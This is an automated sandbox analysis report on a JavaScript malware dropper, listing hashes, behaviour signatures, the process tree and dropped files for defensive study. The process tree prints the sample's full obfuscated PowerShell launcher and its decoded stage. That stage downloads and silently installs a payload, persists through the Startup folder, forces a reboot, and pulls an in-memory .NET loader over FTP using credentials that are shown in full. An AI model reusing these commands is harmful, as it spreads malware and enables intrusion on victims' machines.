Overview

overview

10

Static

static

1

MalwareBazaar.js

windows7-x64

10

MalwareBazaar.js

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 13:13

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General

  • Target

    MalwareBazaar.js

  • Size

    11KB

  • MD5

    50dfd34adc64b6c0e26e72b2c0a29604

  • SHA1

    758dea7dd1909948bde1016d9a52561ef88cf996

  • SHA256

    34fba52e2899cceee8a6dc5793a00e1ecbdf948a56b62a647e7b913b0ae02ebf

  • SHA512

    45a71eb08eaa47f4b3fd1ad96ebb9b4bd08d1c77c7e92bab21fe95086514e3d025032b1f11de3934308ca8a3430b057d82af9d9bb533e647630ca657f573bd39

  • SSDEEP

    192:uMRB3t9iHOI42vmKrSPpOiutE+xhYB1+FXY26ugYPZW0H:/FgG0ltJx832/gYBL

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:     ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $vCHvw = 'J⅕BS⅕H⅕⅕RwBK⅕GI⅕I⅕⅕9⅕C⅕⅕J⅕Bo⅕G8⅕cwB0⅕C4⅕VgBl⅕HI⅕cwBp⅕G8⅕bg⅕u⅕E0⅕YQBq⅕G8⅕cg⅕u⅕EU⅕cQB1⅕GE⅕b⅕Bz⅕Cg⅕Mg⅕p⅕Ds⅕SQBm⅕C⅕⅕K⅕⅕k⅕FI⅕c⅕BH⅕Eo⅕Yg⅕p⅕C⅕⅕ew⅕k⅕H⅕⅕YQBz⅕HQ⅕YQ⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕SQBP⅕C4⅕U⅕Bh⅕HQ⅕a⅕Bd⅕Do⅕OgBH⅕GU⅕d⅕BU⅕GU⅕bQBw⅕F⅕⅕YQB0⅕Gg⅕K⅕⅕p⅕Ds⅕Z⅕Bl⅕Gw⅕I⅕⅕o⅕CQ⅕c⅕Bh⅕HM⅕d⅕Bh⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BV⅕H⅕⅕dwBp⅕G4⅕LgBt⅕HM⅕dQ⅕n⅕Ck⅕Ow⅕k⅕Gg⅕UwBB⅕Eg⅕c⅕⅕g⅕D0⅕I⅕⅕n⅕Gg⅕d⅕B0⅕H⅕⅕cw⅕6⅕C8⅕LwBk⅕HI⅕aQB2⅕GU⅕LgBn⅕G8⅕bwBn⅕Gw⅕ZQ⅕u⅕GM⅕bwBt⅕C8⅕dQBj⅕D8⅕ZQB4⅕H⅕⅕bwBy⅕HQ⅕PQBk⅕G8⅕dwBu⅕Gw⅕bwBh⅕GQ⅕JgBp⅕GQ⅕PQ⅕n⅕Ds⅕J⅕BI⅕FQ⅕WQBm⅕HY⅕I⅕⅕9⅕C⅕⅕J⅕Bl⅕G4⅕dg⅕6⅕F⅕⅕UgBP⅕EM⅕RQBT⅕FM⅕TwBS⅕F8⅕QQBS⅕EM⅕S⅕BJ⅕FQ⅕RQBD⅕FQ⅕VQBS⅕EU⅕LgBD⅕G8⅕bgB0⅕GE⅕aQBu⅕HM⅕K⅕⅕n⅕DY⅕N⅕⅕n⅕Ck⅕OwBp⅕GY⅕I⅕⅕o⅕CQ⅕S⅕BU⅕Fk⅕ZgB2⅕Ck⅕I⅕B7⅕CQ⅕a⅕BT⅕EE⅕S⅕Bw⅕C⅕⅕PQ⅕g⅕Cg⅕J⅕Bo⅕FM⅕QQBI⅕H⅕⅕I⅕⅕r⅕C⅕⅕JwBX⅕DE⅕MQ⅕y⅕EE⅕Z⅕BQ⅕GY⅕SQ⅕w⅕F⅕⅕Qw⅕3⅕Gg⅕YgBz⅕GM⅕aQBf⅕DU⅕Xw⅕w⅕F8⅕ZQBV⅕Dc⅕TgB3⅕E0⅕WgBo⅕GY⅕N⅕B4⅕Cc⅕KQ⅕g⅕Ds⅕fQBl⅕Gw⅕cwBl⅕C⅕⅕ew⅕k⅕Gg⅕UwBB⅕Eg⅕c⅕⅕g⅕D0⅕I⅕⅕o⅕CQ⅕a⅕BT⅕EE⅕S⅕Bw⅕C⅕⅕Kw⅕g⅕Cc⅕MQBi⅕HI⅕ag⅕1⅕Go⅕cQBu⅕HE⅕UgB4⅕EM⅕R⅕⅕2⅕FY⅕a⅕Bm⅕Gg⅕QQBu⅕DI⅕cgBj⅕FY⅕ZgBz⅕FI⅕bw⅕3⅕EQ⅕O⅕Bn⅕HI⅕Jw⅕p⅕C⅕⅕OwB9⅕Ds⅕J⅕Bm⅕Hc⅕UwBZ⅕H⅕⅕I⅕⅕9⅕C⅕⅕K⅕BO⅕GU⅕dw⅕t⅕E8⅕YgBq⅕GU⅕YwB0⅕C⅕⅕TgBl⅕HQ⅕LgBX⅕GU⅕YgBD⅕Gw⅕aQBl⅕G4⅕d⅕⅕p⅕C⅕⅕Ow⅕k⅕GY⅕dwBT⅕Fk⅕c⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕Zw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕V⅕Bl⅕Hg⅕d⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕ZwBd⅕Do⅕OgBV⅕FQ⅕Rg⅕4⅕C⅕⅕Ow⅕k⅕GY⅕dwBT⅕Fk⅕c⅕⅕u⅕EQ⅕bwB3⅕G4⅕b⅕Bv⅕GE⅕Z⅕BG⅕Gk⅕b⅕Bl⅕Cg⅕J⅕BV⅕FI⅕T⅕BL⅕EI⅕L⅕⅕g⅕CQ⅕c⅕Bh⅕HM⅕d⅕Bh⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BV⅕H⅕⅕dwBp⅕G4⅕LgBt⅕HM⅕dQ⅕n⅕Ck⅕I⅕⅕7⅕CQ⅕RgBv⅕Gw⅕Z⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕C⅕⅕PQ⅕g⅕Cg⅕JwBD⅕Do⅕X⅕BV⅕HM⅕ZQBy⅕HM⅕X⅕⅕n⅕C⅕⅕Kw⅕g⅕Fs⅕RQBu⅕HY⅕aQBy⅕G8⅕bgBt⅕GU⅕bgB0⅕F0⅕Og⅕6⅕FU⅕cwBl⅕HI⅕TgBh⅕G0⅕ZQ⅕g⅕Ck⅕Ow⅕k⅕GY⅕aQBs⅕GU⅕I⅕⅕9⅕C⅕⅕K⅕⅕k⅕H⅕⅕YQBz⅕HQ⅕YQ⅕g⅕Cs⅕I⅕⅕n⅕Fw⅕VQBw⅕Hc⅕aQBu⅕C4⅕bQBz⅕HU⅕Jw⅕p⅕Ds⅕I⅕Bw⅕G8⅕dwBl⅕HI⅕cwBo⅕GU⅕b⅕Bs⅕C4⅕ZQB4⅕GU⅕I⅕B3⅕HU⅕cwBh⅕C4⅕ZQB4⅕GU⅕I⅕⅕k⅕GY⅕aQBs⅕GU⅕I⅕⅕v⅕HE⅕dQBp⅕GU⅕d⅕⅕g⅕C8⅕bgBv⅕HI⅕ZQBz⅕HQ⅕YQBy⅕HQ⅕I⅕⅕7⅕C⅕⅕QwBv⅕H⅕⅕eQ⅕t⅕Ek⅕d⅕Bl⅕G0⅕I⅕⅕n⅕CU⅕R⅕BD⅕F⅕⅕SgBV⅕CU⅕Jw⅕g⅕C0⅕R⅕Bl⅕HM⅕d⅕Bp⅕G4⅕YQB0⅕Gk⅕bwBu⅕C⅕⅕K⅕⅕g⅕CQ⅕RgBv⅕Gw⅕Z⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BB⅕H⅕⅕c⅕BE⅕GE⅕d⅕Bh⅕Fw⅕UgBv⅕GE⅕bQBp⅕G4⅕ZwBc⅕E0⅕aQBj⅕HI⅕bwBz⅕G8⅕ZgB0⅕Fw⅕VwBp⅕G4⅕Z⅕Bv⅕Hc⅕cwBc⅕FM⅕d⅕Bh⅕HI⅕d⅕⅕g⅕E0⅕ZQBu⅕HU⅕X⅕BQ⅕HI⅕bwBn⅕HI⅕YQBt⅕HM⅕X⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕Cc⅕I⅕⅕p⅕C⅕⅕LQBm⅕G8⅕cgBj⅕GU⅕I⅕⅕7⅕H⅕⅕bwB3⅕GU⅕cgBz⅕Gg⅕ZQBs⅕Gw⅕LgBl⅕Hg⅕ZQ⅕g⅕C0⅕YwBv⅕G0⅕bQBh⅕G4⅕Z⅕⅕g⅕Cc⅕cwBs⅕GU⅕ZQBw⅕C⅕⅕MQ⅕4⅕D⅕⅕Jw⅕7⅕C⅕⅕cwBo⅕HU⅕d⅕Bk⅕G8⅕dwBu⅕C4⅕ZQB4⅕GU⅕I⅕⅕v⅕HI⅕I⅕⅕v⅕HQ⅕I⅕⅕w⅕C⅕⅕LwBm⅕C⅕⅕fQBl⅕Gw⅕cwBl⅕C⅕⅕ewBb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕TgBl⅕HQ⅕LgBT⅕GU⅕cgB2⅕Gk⅕YwBl⅕F⅕⅕bwBp⅕G4⅕d⅕BN⅕GE⅕bgBh⅕Gc⅕ZQBy⅕F0⅕Og⅕6⅕FM⅕ZQBy⅕HY⅕ZQBy⅕EM⅕ZQBy⅕HQ⅕aQBm⅕Gk⅕YwBh⅕HQ⅕ZQBW⅕GE⅕b⅕Bp⅕GQ⅕YQB0⅕Gk⅕bwBu⅕EM⅕YQBs⅕Gw⅕YgBh⅕GM⅕aw⅕g⅕D0⅕I⅕B7⅕CQ⅕d⅕By⅕HU⅕ZQB9⅕Ds⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕E4⅕ZQB0⅕C4⅕UwBl⅕HI⅕dgBp⅕GM⅕ZQBQ⅕G8⅕aQBu⅕HQ⅕TQBh⅕G4⅕YQBn⅕GU⅕cgBd⅕Do⅕OgBT⅕GU⅕YwB1⅕HI⅕aQB0⅕Hk⅕U⅕By⅕G8⅕d⅕Bv⅕GM⅕bwBs⅕C⅕⅕PQ⅕g⅕Fs⅕UwB5⅕HM⅕d⅕Bl⅕G0⅕LgBO⅕GU⅕d⅕⅕u⅕FM⅕ZQBj⅕HU⅕cgBp⅕HQ⅕eQBQ⅕HI⅕bwB0⅕G8⅕YwBv⅕Gw⅕V⅕B5⅕H⅕⅕ZQBd⅕Do⅕OgBU⅕Gw⅕cw⅕x⅕DI⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕g⅕D0⅕I⅕⅕o⅕E4⅕ZQB3⅕C0⅕TwBi⅕Go⅕ZQBj⅕HQ⅕I⅕BO⅕GU⅕d⅕⅕u⅕Fc⅕ZQBi⅕EM⅕b⅕Bp⅕GU⅕bgB0⅕Ck⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕Zw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕V⅕Bl⅕Hg⅕d⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕ZwBd⅕Do⅕OgBV⅕FQ⅕Rg⅕4⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕LgBD⅕HI⅕ZQBk⅕GU⅕bgB0⅕Gk⅕YQBs⅕HM⅕I⅕⅕9⅕C⅕⅕bgBl⅕Hc⅕LQBv⅕GI⅕agBl⅕GM⅕d⅕⅕g⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕TgBl⅕HQ⅕LgBO⅕GU⅕d⅕B3⅕G8⅕cgBr⅕EM⅕cgBl⅕GQ⅕ZQBu⅕HQ⅕aQBh⅕Gw⅕K⅕⅕n⅕GQ⅕ZQBz⅕GM⅕awB2⅕GI⅕cgBh⅕HQ⅕MQ⅕n⅕Cw⅕JwBk⅕GU⅕dgBl⅕Gw⅕bwBw⅕GU⅕cgBw⅕HI⅕bw⅕y⅕DE⅕NQ⅕3⅕Dg⅕SgBw⅕E⅕⅕Q⅕⅕n⅕Ck⅕Ow⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕g⅕D0⅕I⅕⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕EQ⅕bwB3⅕G4⅕b⅕Bv⅕GE⅕Z⅕BT⅕HQ⅕cgBp⅕G4⅕Zw⅕o⅕C⅕⅕JwBm⅕HQ⅕c⅕⅕6⅕C8⅕LwBk⅕GU⅕cwBj⅕Gs⅕dgBi⅕HI⅕YQB0⅕DE⅕Q⅕Bm⅕HQ⅕c⅕⅕u⅕GQ⅕ZQBz⅕GM⅕awB2⅕GI⅕cgBh⅕HQ⅕LgBj⅕G8⅕bQ⅕u⅕GI⅕cg⅕v⅕FU⅕c⅕Bj⅕HI⅕eQBw⅕HQ⅕ZQBy⅕C8⅕M⅕⅕y⅕C8⅕R⅕BM⅕Ew⅕M⅕⅕x⅕C4⅕d⅕B4⅕HQ⅕Jw⅕g⅕Ck⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕GQ⅕aQBz⅕H⅕⅕bwBz⅕GU⅕K⅕⅕p⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕I⅕⅕9⅕C⅕⅕K⅕BO⅕GU⅕dw⅕t⅕E8⅕YgBq⅕GU⅕YwB0⅕C⅕⅕TgBl⅕HQ⅕LgBX⅕GU⅕YgBD⅕Gw⅕aQBl⅕G4⅕d⅕⅕p⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕LgBF⅕G4⅕YwBv⅕GQ⅕aQBu⅕Gc⅕I⅕⅕9⅕C⅕⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕FQ⅕ZQB4⅕HQ⅕LgBF⅕G4⅕YwBv⅕GQ⅕aQBu⅕Gc⅕XQ⅕6⅕Do⅕VQBU⅕EY⅕O⅕⅕7⅕CQ⅕TQBX⅕GY⅕dQBh⅕C⅕⅕PQ⅕g⅕CQ⅕dwBW⅕F⅕⅕b⅕B1⅕C4⅕R⅕Bv⅕Hc⅕bgBs⅕G8⅕YQBk⅕FM⅕d⅕By⅕Gk⅕bgBn⅕Cg⅕I⅕⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕g⅕Ck⅕OwBb⅕EI⅕eQB0⅕GU⅕WwBd⅕F0⅕I⅕⅕k⅕FI⅕W⅕Bp⅕FY⅕agBf⅕Fk⅕b⅕B0⅕Eg⅕Sw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕QwBv⅕G4⅕dgBl⅕HI⅕d⅕Bd⅕Do⅕OgBG⅕HI⅕bwBt⅕EI⅕YQBz⅕GU⅕Ng⅕0⅕FM⅕d⅕By⅕Gk⅕bgBn⅕Cg⅕I⅕⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕u⅕FI⅕ZQBw⅕Gw⅕YQBj⅕GU⅕K⅕⅕g⅕Cc⅕kyE6⅕JMhJw⅕g⅕Cw⅕I⅕⅕n⅕EE⅕Jw⅕g⅕Ck⅕I⅕⅕p⅕Ds⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕EE⅕c⅕Bw⅕EQ⅕bwBt⅕GE⅕aQBu⅕F0⅕Og⅕6⅕EM⅕dQBy⅕HI⅕ZQBu⅕HQ⅕R⅕Bv⅕G0⅕YQBp⅕G4⅕LgBM⅕G8⅕YQBk⅕Cg⅕I⅕⅕k⅕FI⅕W⅕Bp⅕FY⅕agBf⅕Fk⅕b⅕B0⅕Eg⅕Sw⅕g⅕Ck⅕LgBH⅕GU⅕d⅕BU⅕Hk⅕c⅕Bl⅕Cg⅕I⅕⅕n⅕EM⅕b⅕Bh⅕HM⅕cwBM⅕Gk⅕YgBy⅕GE⅕cgB5⅕DM⅕LgBD⅕Gw⅕YQBz⅕HM⅕MQ⅕n⅕C⅕⅕KQ⅕u⅕Ec⅕ZQB0⅕E0⅕ZQB0⅕Gg⅕bwBk⅕Cg⅕I⅕⅕n⅕H⅕⅕cgBG⅕FY⅕SQ⅕n⅕C⅕⅕KQ⅕u⅕Ek⅕bgB2⅕G8⅕awBl⅕Cg⅕J⅕Bu⅕HU⅕b⅕Bs⅕Cw⅕I⅕Bb⅕G8⅕YgBq⅕GU⅕YwB0⅕Fs⅕XQBd⅕C⅕⅕K⅕⅕g⅕Cc⅕bg⅕x⅕HY⅕dwBk⅕G8⅕bgBh⅕DM⅕Z⅕⅕v⅕Hc⅕YQBy⅕C8⅕ZQBt⅕C4⅕d⅕B4⅕GU⅕d⅕Bl⅕HI⅕YQBo⅕HM⅕Lw⅕v⅕Do⅕cwBw⅕HQ⅕d⅕Bo⅕Cc⅕I⅕⅕s⅕C⅕⅕Jw⅕l⅕EQ⅕QwBQ⅕Eo⅕VQ⅕l⅕Cc⅕L⅕⅕g⅕Cc⅕V⅕By⅕HU⅕ZQ⅕x⅕Cc⅕I⅕⅕p⅕C⅕⅕KQ⅕7⅕H0⅕Ow⅕=';$vCHvw = $vCHvw.replace('⅕','A') ;$vCHvw = [System.Convert]::FromBase64String( $vCHvw ) ;;;$vCHvw = [System.Text.Encoding]::Unicode.GetString( $vCHvw ) ;$vCHvw = $vCHvw.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.js') ;powershell $vCHvw
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$RpGJb = $host.Version.Major.Equals(2);If ($RpGJb) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$hSAHp = 'https://drive.google.com/uc?export=download&id=';$HTYfv = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($HTYfv) {$hSAHp = ($hSAHp + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$hSAHp = ($hSAHp + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$fwSYp = (New-Object Net.WebClient) ;$fwSYp.Encoding = [System.Text.Encoding]::UTF8 ;$fwSYp.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$wVPlu.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$MWfua = $wVPlu.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$wVPlu.dispose();$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$MWfua = $wVPlu.DownloadString( $MWfua );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $MWfua.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'n1vwdona3d/war/em.txeterahs//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.js', 'True1' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4112

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          64B

          MD5

          50a8221b93fbd2628ac460dd408a9fc1

          SHA1

          7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

          SHA256

          46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

          SHA512

          27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

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        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkkivzlc.eik.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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        • memory/2056-0-0x00007FFF6C293000-0x00007FFF6C295000-memory.dmp

          Filesize

          8KB

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        • memory/2056-6-0x0000027CFD400000-0x0000027CFD422000-memory.dmp

          Filesize

          136KB

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        • memory/2056-11-0x00007FFF6C290000-0x00007FFF6CD51000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/2056-12-0x00007FFF6C290000-0x00007FFF6CD51000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/2056-27-0x00007FFF6C290000-0x00007FFF6CD51000-memory.dmp

          Filesize

          10.8MB

          Download